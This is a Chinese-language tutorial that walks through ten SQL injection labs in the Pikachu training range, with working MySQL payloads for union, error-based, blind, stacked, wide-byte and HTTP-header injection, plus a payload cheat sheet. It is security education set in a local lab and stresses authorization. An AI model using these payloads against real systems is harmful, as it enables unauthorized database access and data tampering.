想在本地搭一套Web漏洞靶场,把SQL注入从原理到实战彻底吃透?Pikachu靶场是我个人非常推荐的一个起点。它内置了数字型、字符型、搜索型、报错、盲注、堆叠、宽字节、HTTP头注入等十几类经典SQL注入场景,全部封装在开源的实验系统里,不需要你搭建复杂的业务系统,更不用碰任何未授权的目标。这篇内容就基于Pikachu靶场,带你从零开始把十大核心SQL注入场景逐个通关,每一步都给出可复现的SQL语句和判断思路。适合刚接触Web安全的学生、想补漏洞原理的开发者,以及准备面试前想系统梳理注入知识的朋友,照着操作就能跑通。
1. 动手之前:先把Pikachu环境跑起来
1.1 靶场里到底练什么
Pikachu是一个抛弃了繁琐业务逻辑、专门为网络安全教学设计的漏洞演练平台。和市面上一些重型靶场不同,它把每个漏洞都做成了独立的小实验,页面上就有注入点、有输入框、有提交按钮,你在浏览器里敲一条SQL语句,结果直接反馈在页面上。好处是反馈链路极短:输入、提交、观察回显,一条龙完成,特别适合训练"看到输入框就下意识判断注入类型"的肌肉记忆。
以SQL注入模块为例,它并不是把十个场景堆在一起就完事,而是刻意复现了真实Web应用里最常见的参数传递方式。POST表单、GET查询参数、搜索框模糊匹配、HTTP请求头,每一种都对应现实开发中的某个具体写法。你在靶场里打通的每一个场景,背后都能映射到真实系统里的某一个接口。
1.2 本地部署其实很简单
Pikachu依赖PHP和MySQL,最常见的部署方式是用集成环境跑起来。我本地使用的是PHPStudy架构,你也可以用WAMP、LAMP这类组合,核心就是把PHP环境和MySQL服务起好,把靶场源码放进Web根目录,然后导入数据库脚本。
具体步骤大致是:先把Pikachu源码下载解压,放到Web根目录下,目录名改成pikachu方便访问;然后启动Apache和MySQL服务;接着在浏览器访问http://localhost/pikachu,页面会提示你初始化数据库。这里要提前在MySQL里创建一个空数据库,名字建议叫pikachu,字符集选择GBK,然后在靶场配置页面填写数据库账号密码。完成初始化后,重新访问首页就能看到完整的漏洞菜单了。
部署过程中最常翻车的点有两个:一是数据库用户权限不够,初始化脚本执行失败,这种情况直接给该用户加上所有权限就行;二是PHP版本过高导致某些老旧函数被废弃,我遇到过在较高版本PHP下部分页面报错的情况,稳妥的做法是切换到主流的PHP 5.6或7.x版本,这也是靶场作者声明过兼容性最好的版本区间。
1.3 环境就绪后先验证连通性
进入SQL注入模块第一个场景,页面上是一个输入ID查询会员信息的表单。你随便输入一个数字比如1,如果正常返回了用户信息,说明PHP和MySQL已经贯通。再输入一个单引号',如果页面报错或者返回异常,恭喜你,靶场环境完全正常,而且你已经亲手触发了一次典型的数据库报错。这个"报错"会在后面成为你判断注入类型的核心线索。
2. 看懂注入点:SQL注入的本质与判断方法
2.1 为什么会有SQL注入
SQL注入的本质,是程序把用户输入的内容直接拼接进了SQL查询语句,导致输入数据被数据库解释成了代码的一部分。举个生活化的类比:你在一张报销单的"备注"栏里正常写"餐费",财务按备注报销;但如果有人在备注栏写"餐费,顺便把我下个月的公积金也提了",而财务不加审核直接照单执行,那这行字就从"数据"变成了"指令"。
Web应用同理。开发时图省事写了一句SELECT * FROM users WHERE id = '$id',用户输入什么,$id就变成什么。你输入1' AND 1=1 --,拼接后SQL变成SELECT * FROM users WHERE id = '1' AND 1=1 -- ',注释符把后面的单引号吞掉,查询照样正常执行。这就是注入得以成立的根因。
要避免这种情况,本质不是"过滤危险字符",而是把用户输入当数据、不当代码。参数化查询(Prepared Statement)就是规范做法。但现实中有大量老项目是字符串拼接SQL,于是注入漏洞至今仍然是OWASP Top 10的常客。靶场存在的意义,就是让这些老代码的缺陷清晰地暴露在你面前。
2.2 判断注入点的三步法
拿到任何一个疑似注入的参数,我习惯按固定顺序做三个测试:
第一步,输入正常值,观察回显。比如输入1、kobe,看页面是否正常返回,记住返回内容的格式和位置。
第二步,输入闭合尝试,观察报错。在参数后加一个单引号',如果页面报数据库错误,说明该参数大概率参与了SQL语句拼接,且这个位置很可能存在注入。如果页面没反应,试试1'、1"、1')等变体,判断闭环方式。
第三步,输入真伪条件,观察差异。构造1 AND 1=1和1 AND 1=2两个请求,如果前者正常、后者空,就基本确认注入了。这一步是为了排除"只是因为报错被显示出来"造成的巧合,真正坐实逻辑差异。
这套三步法适用于本篇文章所有场景,也是你之后面对真实环境时首选的判断流程。后面每一个场景,我都会沿着这条线索展开具体的payload构造。
2.3 工具准备清单
- 浏览器:主力工具,建议Chrome或Firefox,开隐身模式避免缓存干扰,F12开发者模式用来改请求参数和观察响应。
- 抓包工具:Burp Suite社区版够用。很多注入场景在URL里直接改不方便,尤其是POST和HTTP头注入,用Burp拦截篡改请求会顺手得多。
- 编码辅助:一个支持URL编码、ASCII转义的文本工具或在线工具,处理宽字节注入时需要把字符转为
%df这种形式。 - 一个本地的MySQL客户端:虽然靶场页面能回显数据,但偶尔需要到数据库侧验证表结构和数据变化(比如堆叠注入到底有没有写入成功),这时候直接连库查看最直观。
工具不需要多,核心还是你的手工判断能力。自动化工具可以后面再上,但如果你连payload的每一段代表什么都没搞懂,工具扫出一万个结果你也读不懂。
3. 十大SQL注入场景逐关实战
以下十个场景按照难度和类型递进排列。前面三个是基础,中间三个考验技巧,最后四个涉及编码和协议层,建议按顺序打,每一步都亲自动手试一遍。
3.1 场景一:数字型注入(POST)
进入"数字型注入(POST)"页面,你会看到一个输入ID并点击查询的表单。这里提交方式是POST,所以URL里看不到参数,直接改请求体或者在页面上改表单值都可以。我用Burp拦截后修改id参数来演示。
先正常提交id=1,页面返回用户名为kobe的一条记录。然后提交id=1 and 1=1,页面正常;提交id=1 and 1=2,页面无记录。这一步就把数字型注入坐实了。因为数字型参数没有引号包裹,代码里的SQL大概是WHERE id = $id这种形式,所以不需要闭合单引号,直接跟逻辑表达式就能生效。
接下来用联合查询获取更多数据。先把字段数摸清楚:id=1 order by 4正常,id=1 order by 5报错,说明原查询只有4列。然后构造id=1 union select 1,2,3,4,页面会把第2、3列的内容直接回显出来,其中第2列和第3列就是我们可以利用的显示位。接着把显示位替换成目标数据:id=1 union select 1,username,password,4 from member,用户名和密码的哈希就全出来了。到这一步,数字型注入的完整链路你已经走通了。
3.2 场景二:字符型注入(GET)
这个场景的入口是一个按用户名查询的输入框,提交方式为GET。我先输入kobe,正常返回用户信息。接着输入kobe',页面直接报数据库语法错误,这说明参数被单引号包裹,即WHERE name = '$name'。
字符型和数字型的最大区别在于:你必须先把前面的单引号闭合掉,否则整条SQL的语法就是错的。基本判断语句是kobe' and '1'='1和kobe' and '1'='2,前者正常、后者无回显。注意末尾多了一个'1'='1,这是为了和后端自动补上的右单引号配对,相当于你在拼接SQL时把整个条件圆回来了。
闭合之后,联合查询的payload就可以写成:kobe' union select 1,username,password from member --。这里末尾的--是SQL注释符,用来吞掉原SQL语句末尾残留的右单引号。注意注释符后面必须跟一个空格,否则部分数据库会识别失败。这是新手最常见的翻车点,肉眼几乎看不出来,我在这上面大概浪费过十分钟。
3.3 场景三:搜索型注入
搜索型注入的逻辑是把用户输入直接嵌进了LIKE模糊查询里,类似SELECT * FROM member WHERE name LIKE '%{$keyword}%'。打开搜索页面,我先输入k,正常返回所有名字包含k的记录。再输入k%',页面报错,这就暴露了模糊匹配的拼接方式。
搜索型的闭合需要处理两个点:前面的%和单引号。判断语句可以写成k%' and 1=1 --,页面正常;k%' and 1=2 --,页面无记录。这里的第一个%是原SQL里LIKE '%的遗留,你用%'把它闭合掉,后面的--再把尾部多余的单引号注释掉。
联合注入时,payload是k%' union select 1,username,password from member --。回显结果会把member表所有用户的用户名和密码列出来。为什么搜索型容易被人忽视?因为很多开发者觉得搜索框"只是模糊匹配一下,不会有问题"。但实际上模糊匹配只是多了一个%的闭合工作量,注入难度并没有实质提升。
3.4 场景四:报错注入(extractvalue)
前面的场景都有正常回显,你可以直接用联合查询拿数据。但在真实环境里,很多接口只告诉你"查询失败"或"无数据",不回显查询结果。这时候就用上报错注入:故意诱导数据库在报错信息里把我们要的数据拼出来。
Pikachu的报错注入场景,输入1正常返回,输入1'报错。下一步直接用updatexml和extractvalue两个函数构造报错。我用的payload是:1 and extractvalue(1,concat(0x7e,(select database())))。extractvalue函数接受两个参数,第二个参数要求是合法的XPath路径,而concat(0x7e,(select database()))生成的字符串不是合法路径,于是MySQL在报错信息里把整串内容吐出来,0x7e是波浪号~的十六进制编码,用来保证开头不是合法字符、必触发错误,同时让报错内容更易读。
实际执行后,页面会显示类似XPATH syntax error: '~pikachu'的信息,数据库名就出来了。同理,想查用户就换成(select user()),想查表名就(select group_concat(table_name) from information_schema.tables where table_schema=database())。报错注入每一条语句只能带出有限长度,所以查多行数据时记得用group_concat或者limit分批取。
3.5 场景五:布尔盲注
布尔盲注适用于页面完全不会回显查询结果的场景,只存在"有数据"和"无数据"两种表现。Pikachu这个场景,你输入一个存在的ID页面有回显,输入不存在的ID就是空白。没有报错信息,也没有联合查询回显位,只能靠页面表现的变化一比特一比特地猜数据。
先在id=1后面追加判断:1 and 1=1页面正常,1 and 1=2页面空白,这就是布尔盲注的判别信号。然后开始猜数据库名长度:1 and length(database())=7,正常。说明库名长度是7(对应pikachu)。接着逐字符猜:1 and substr(database(),1,1)='p'。这一步可以用二分法加速,比如ascii(substr(database(),1,1))>100,通过调整数值区间快速逼近真实字符。
手工做布尔盲注确实费时间,但这个过程是理解盲注原理不可跳过的一步。等你把整个数据库名、第一个表名、第一个字段名都手工猜出来后,再回头看脚本或者工具的实现逻辑,你会觉得那些自动化工具写得"理所当然"。我建议至少完整手工猜一个数据库名加一个表名,找找感觉。
3.6 场景六:时间盲注
时间盲注比布尔盲注更进一步:当页面在你输入真和假条件时表现完全一致,没有任何差异可供分辨,你只能通过"响应时间"来传递信息。Pikachu的时间盲注场景,无论你输入什么,页面始终显示一样的提示,肉眼完全无法区分。
这时候用sleep函数制造时间差。payload:1 and sleep(3),如果响应明显延迟了3秒,说明注入点存在且条件为真。用if函数把条件判断和延时结合起来:1 and if(ascii(substr(database(),1,1))>100,sleep(2),0)。如果第一字符的ASCII码大于100,页面就会卡2秒,否则立即返回。如此逐字符判断,就能在"零回显"条件下把数据一点一点抠出来。
时间盲注最影响体验的是网络延迟干扰。建议把sleep的间隔设短一点,比如2秒,并且每个字符用二分法判断,尽量减少请求次数。我在本地靶场练的时候习惯开两个终端窗口,一个发请求,一个用date命令记录时间戳,时间差一目了然。
3.7 场景七:堆叠注入
堆叠注入和前面所有场景的思路都不同。前面的注入都止步于"一条SQL语句的改写",而堆叠注入是让后端同时执行了多条SQL语句。它的关键是PHP的数据库查询函数是否允许多语句执行,如果能,你在参数后用分号隔开,就可以追加任意增删改查语句。
Pikachu堆叠注入页面输入1正常,输入1'; select 1,2,3 --可以把后面的语句一起执行。更典型的演示是故意构造一条写入语句:1'; insert into member(username,password) values('test','123456') --。执行后回到数字型注入场景去查test,你会发现数据真的插进去了。这个实验直观展示了为什么堆叠注入危害比普通注入大得多:普通注入最多读数据,堆叠注入可以直接改数据、写文件、删表。
堆叠注入不是每种数据库都默认支持。MySQL的PHP mysqli和PDO默认支持多语句执行,但某些ORM框架会屏蔽。所以靶场里能打通,不代表所有系统都能打,实战中堆叠注入相对少见,但一旦遇到,利用价值极高。
3.8 场景八:宽字节注入
宽字节注入是专门针对使用了GBK编码且开启转义功能的PHP应用。很多开发者为了防注入,会对用户输入做addslashes处理,给每个单引号前加一个反斜杠\。这种情况下,你输入'会变成\',之前的注入方式全部失效。但GBK编码下,反斜杠\的十六进制是%5c,而一个GBK汉字通常由两个字节组成。如果我们输入%df%27,其中%27是单引号,经过addslashes后变成%df%5c%27,而%df%5c恰好被MySQL解析成一个GBK汉字"運",后面的%27就成了独立的裸单引号。转义就这样被吃掉了。
Pikachu宽字节注入页面,搜索框里输入kobe%df',页面如果报错,说明转义被成功绕过。接着payload可以写成kobe%df' union select 1,username,password from member --,联合查询拿数据。
宽字节注入对字符集配置非常敏感,必须满足"数据库连接编码为GBK + 使用了反斜杠转义"两个条件。现在大多数新项目都用UTF-8,所以这个场景在实战中逐步少见。但它的核心思维——理解字符编码之间的换算和歧义——放到任何漏洞研究里都是通用的。
3.9 场景九:User-Agent注入
这个场景的注入点藏在了HTTP头里。打开页面直接访问,看起来就是一个普通的浏览记录页面,URL没有参数,表单也没有输入框。但页面显示了你的IP和浏览器标识,这提示我们服务端读取了HTTP头里的数据拼进了SQL。
用Burp拦截请求,把User-Agent头改成',页面报错,说明这个头被拼接进了SQL。和前面不同的是,这里没有回显位,我直接用报错注入来取数据。把User-Agent改为:Mozilla/5.0' and extractvalue(1,concat(0x7e,(select database()))) --。页面报错信息里就会带出当前数据库名。
HTTP头注入的隐蔽性在于:很多安全测试人员习惯只盯着URL和表单参数,忽略了请求头。而服务端日志、统计系统、客服系统这类应用经常会把UA、Referer、X-Forwarded-For等头信息直接存入数据库,如果这些字段拼接SQL时没做参数化,就变成了隐藏注入点。Pikachu用UA和Referer两个场景单独训练这一点,就是提醒你:凡是后端可能读到的输入,都要当作攻击面。
3.10 场景十:Referer注入
Referer注入和场景九是同一个模块下的姊妹题。页面会记录你从哪个页面跳转过来,服务端把Referer头直接拼入SQL。用Burp修改Referer为http://xxx' and extractvalue(1,concat(0x7e,(select user()))) --,报错信息中带出当前数据库用户。
这种场景在真实环境里更常见于后台的访问统计表和管理员的登录日志模块。由于这些功能面向管理员、不出现在普通用户界面上,很多开发者的防护意识相对薄弱。你在靶场里打通UA和Referer两个场景后,可以自己再延展试试X-Forwarded-For头——很多限流和日志系统也会读取这个字段,逻辑是完全一样的。学会一个头,就学会了一类头。
4. 高频Payload速查表:一套语句走天下
打完全部场景后,我把自己日常手测最常用的payload整理成了表,可以存下来当速查参考。注意表里的语句都是在授权靶场环境中验证过的,核心思路是让你在看到一个陌生注入点时快速判断类型、快速拿到数据。
| 场景类型 | 判断payload | 数据获取payload | 核心要点 |
|---|---|---|---|
| 数字型 | 1 and 1=1/1 and 1=2 | 1 union select 1,2,3 | 无需闭合引号 |
| 字符型 | ' and '1'='1 | ' union select 1,2 -- | 注意闭合单引号 |
| 搜索型 | %' and 1=1 -- | %' union select 1,2 -- | 闭合%和引号 |
| 报错型 | '触发报错 | ' and extractvalue(1,concat(0x7e,(select database()))) -- | 利用报错回显 |
| 布尔盲注 | and 1=1/and 1=2 | and ascii(substr(database(),1,1))>100 | 逐字符猜测 |
| 时间盲注 | and sleep(3) | and if(ascii(substr(database(),1,1))>100,sleep(2),0) | 响应延迟判断 |
| 堆叠注入 | 1'; select 1 -- | 1'; insert into member(...) -- | 分号追加语句 |
| 宽字节 | %df'触发报错 | %df' union select 1,2 -- | 吃掉反斜杠转义 |
| HTTP头注入 | 头信息加' | ' and extractvalue(1,concat(0x7e,(select database()))) -- | 修改请求头 |
这张表的适用范围是MySQL。换成其它数据库时,注释符和报错函数都要跟着变,比如Oracle用--加||拼接、SQL Server用--加+拼接。但思路完全一致:先闭合,再判断,最后取数。
5. 实战中容易踩的坑与排查思路
5.1 常见坑位一览
第一个坑是注释符后面忘记加空格。--在MySQL里必须后面跟空格或控制字符,写成--'往往直接语法报错。我早期练习时经常因为这个问题排查半天。
第二个坑是联合查询时前后列数不一致。union select要求左右两侧的列数完全相等,否则直接报错。解决办法是先通过order by N逐次尝试找出正确列数。靶场里前三列大多够用,真实系统里字段可能很多,不要想当然。
第三个坑是盲目使用information_schema时权限不足。靶场默认账号权限够高,但真实环境里很多应用数据库账号只有部分表权限。如果查information_schema报错,可以先试试从当前库已有的常见表名猜起。
第四个坑是HTTP头注入时忘了URL编码。比如在UA头里塞空格、单引号以外的特殊字符,某些中间件会自动规范化。稳妥的做法是先用纯ASCII字符测试,确认注入点存在后再上复杂payload。
5.2 排查思路排优先级
遇到"payload明明按教程写的却不出结果"的情况,我的排查顺序是:第一步看报错信息,数据库一般会直接告诉你是语法错误还是函数错误;第二步检查闭合符号是否匹配,这个场景是'还是"还是%';第三步检查注释符是否生效,临时把末尾的残留引号补成全等条件而不是依赖注释;第四步检查回显位置,联合查询选中的数字显示位可能不在你预期的那一列。
还有一点要特别提醒:靶场页面有时候会因为上一次查询破坏了会话状态,导致你后续测试的结果不可信。遇到这种情况,直接回到靶场首页重新进入对应场景页面,保证每次实验从干净状态开始。
5.3 从靶场到真实世界的边界
靶场打通只是第一步。真实系统的注入往往隐藏在后端接口里,参数名更加复杂,数据交互经过多层编码,甚至还有WAF中间层——但核心的判断方法永远不会变。你在靶场里练出的"三步判断法"和"闭合思维",才是真正能带走的东西。
另外,务必时刻记住一个边界:SQL注入测试只允许在你自己搭建的靶场、CTF赛题或者获得明确授权的目标上进行。技术本身没有善恶,但使用技术的人必须清楚边界在哪里。这篇文章里的所有手法,核心目的是让你理解漏洞的成因,从而在开发时写出安全的代码、在测试时发现潜在的风险。
我个人的体会是,Pikachu的SQL注入模块我前后完整刷过三遍。第一遍按照教程走,记住每个场景的标准payload;第二遍不参考任何资料,看着页面自己推导闭合方式;第三遍把每个场景的payload都改写一遍,比如把报错注入换成floor报错、把盲注改成二分法脚本。每一遍的收获完全不同。建议你也试试这个方法,前十次复制粘贴不如一次独立推导来得深刻。如果后续还想继续深入,可以在同一个靶场里把XSS和RCE模块也一并刷掉,你会发现漏洞之间的配合关系,比单独看每一个漏洞更有意思。